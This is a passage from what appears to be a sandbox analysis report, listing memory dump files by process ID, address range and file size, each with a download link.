    Download

  • memory/4524-28-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4524-27-0x0000000000630000-0x0000000000B38000-memory.dmp

    Filesize

    5.0MB

    Download

  • memory/4692-86-0x0000018544670000-0x0000018544692000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4804-1-0x0000000000C30000-0x0000000001166000-memory.dmp

    Filesize

    5.2MB

    Download

  • memory/4804-0-0x00007FFC56A93000-0x00007FFC56A95000-memory.dmp

    Filesize

    8KB

    Download

  • memory/5400-244-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5400-23-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5400-252-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5400-13-0x00000000006E0000-0x000000000070E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/5400-261-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5752-65-0x00000000005D0000-0x00000000005F8000-memory.dmp

    Filesize

    160KB

    Download